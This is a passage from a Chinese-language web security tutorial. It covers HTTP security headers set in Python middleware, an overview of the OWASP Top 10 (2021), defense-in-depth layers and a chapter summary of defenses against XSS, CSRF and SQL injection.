response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
# 7. Permissions Policy:限制浏览器功能
response.headers["Permissions-Policy"] = (
"camera=(), microphone=(), geolocation=(), payment=()"
)
return responseHeaders 详解:
| Header | 值 | 防御的攻击 | 说明 |
|---|---|---|---|
Strict-Transport-Security | max-age=31536000; includeSubDomains | SSL 降级、中间人 | 浏览器在 1 年内只对该域名使用 HTTPS |
Content-Security-Policy | default-src 'self' | XSS、数据注入 | 只允许加载同源资源 |
X-Content-Type-Options | nosniff | MIME 混淆 | 禁止浏览器猜测内容类型 |
X-Frame-Options | DENY / SAMEORIGIN | 点击劫持 | 禁止 / 限制 iframe 嵌入 |
Referrer-Policy | strict-origin-when-cross-origin | 信息泄露 | 控制 Referer 头泄露的信息量 |
Permissions-Policy | camera=(), microphone=() | 权限滥用 | 限制页面可使用的浏览器 API |
6.2 OWASP Top 10 简介
OWASP(Open Web Application Security Project)Top 10 是 Web 应用最常见的十大安全风险。
OWASP Top 10 (2021):
┌─────────────────────────────────────────────────────────────┐
│ │
│ A01:2021 失效访问控制 │
│ → 用户可以访问未授权的资源或功能 │
│ → 本章覆盖:认证授权章节 │
│ │
│ A02:2021 加密机制失效 │
│ → 敏感数据未加密或使用了弱加密 │
│ → 本章覆盖:密码安全(bcrypt)、HTTPS │
│ │
│ A03:2021 注入 │
│ → SQL、NoSQL、OS、LDAP 注入 │
│ → 本章覆盖:SQL 注入防御 │
│ │
│ A04:2021 不安全设计 │
│ → 系统设计阶段缺少安全控制 │
│ → 本章覆盖:安全审计清单 │
│ │
│ A05:2021 安全配置错误 │
│ → 默认密码、开启调试模式、未设置安全 Headers │
│ → 本章覆盖:安全 Headers 配置 │
│ │
│ A06:2021 脆弱和过时组件 │
│ → 使用有已知漏洞的依赖包 │
│ → 实践:定期更新依赖,关注安全公告 │
│ │
│ A07:2021 认证与识别失效 │
│ → 弱密码、暴力破解、会话固定 │
│ → 本章覆盖:密码安全、SameSite Cookie │
│ │
│ A08:2021 软件与数据完整性失败 │
│ → 不安全的反序列化、CI/CD 管道 │
│ → 本章覆盖:输入验证、反序列化风险 │
│ │
│ A09:2021 安全日志与监控失败 │
│ → 缺少日志、日志被篡改、无告警 │
│ → 本章覆盖:敏感数据过滤、日志安全 │
│ │
│ A10:2021 服务端请求伪造 (SSRF) │
│ → 服务器被诱导访问内网资源 │
│ → 本章覆盖:输入验证、URL 白名单 │
│ │
└─────────────────────────────────────────────────────────────┘6.3 知识关联图
Web 安全知识关联图:
┌─────────────────────────────────────────────────────────────┐
│ │
│ ┌───────────────────┐ │
│ │ 用户输入 │ │
│ │ (所有来源) │ │
│ └─────────┬─────────┘ │
│ │ │
│ ┌──────────────┼──────────────┐ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ XSS 防御 │ │ SQL 注入 │ │ CSRF 防御 │ │
│ │ 自动转义 │ │ 参数化查询 │ │ Token 验证 │ │
│ │ CSP 策略 │ │ ORM 使用 │ │ SameSite │ │
│ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │
│ └────────────────┼────────────────┘ │
│ │ │
│ ▼ │
│ ┌────────────────────┐ │
│ │ 安全中间件 │ │
│ │ Headers 设置 │ │
│ │ 错误处理 │ │
│ │ 日志过滤 │ │
│ └─────────┬──────────┘ │
│ │ │
│ ▼ │
│ ┌────────────────────┐ │
│ │ 纵深防御 │ │
│ │ 最小权限 │ │
│ │ 默认安全 │ │
│ └────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘6.4 纵深防御(Defense in Depth)
安全不依赖单一措施,而是多层防御:
纵深防御层次:
┌─────────────────────────────────────────────────────────────┐
│ │
│ 第 1 层:输入验证 │
│ → 所有输入必须验证类型、长度、格式 │
│ → 白名单优于黑名单 │
│ │
│ 第 2 层:输出编码 │
│ → 输出到 HTML 时转义 │
│ → 输出到 SQL 时参数化 │
│ │
│ 第 3 层:认证与授权 │
│ → 强密码策略(bcrypt) │
│ → 最小权限原则 │
│ │
│ 第 4 层:安全 Headers │
│ → CSP、HSTS、X-Frame-Options │
│ │
│ 第 5 层:监控与响应 │
│ → 异常日志监控 │
│ → 自动告警 │
│ │
│ 即使某一层被突破,其他层仍然提供保护 │
│ │
└─────────────────────────────────────────────────────────────┘本章小结
┌─────────────────────────────────────────────────────────────┐
│ Web 安全专题 知识要点 │
├─────────────────────────────────────────────────────────────┤
│ │
│ L1 理解层: │
│ ✓ XSS:恶意脚本注入,分存储型/反射型/DOM 型 │
│ ✓ CSRF:利用已认证状态伪造请求 │
│ ✓ SQL 注入:用户输入篡改 SQL 逻辑 │
│ ✓ 密码安全:用 bcrypt,不用 MD5/明文 │
│ ✓ 文件上传:验证扩展名、清理文件名、检查路径 │
│ │
│ L2 实践层: │
│ ✓ XSS 防御:模板自动转义 + CSP │
│ ✓ CSRF 防御:CSRF Token + SameSite Cookie │
│ ✓ SQL 注入防御:参数化查询 + ORM │
│ ✓ 密码:bcrypt.hashpw() + checkpw() │
│ ✓ 文件:secure_filename() + UUID 重命名 │
│ ✓ CORS:明确指定 origins,不用 ["*"] │
│ ✓ 错误处理:生产环境返回通用错误 │
│ │
│ L3 专家层: │
│ ✓ HTTP 安全 Headers:HSTS/CSP/X-Frame-Options/nosniff │
│ ✓ OWASP Top 10:10 类最常见 Web 安全风险 │
│ ✓ 纵深防御:输入验证 → 输出编码 → 认证 → Headers → 监控 │
│ ✓ 最小权限原则:每个组件只拥有必要的权限 │
│ ✓ 默认安全:所有配置默认最严格,按需放宽 │
│ │
└─────────────────────────────────────────────────────────────┘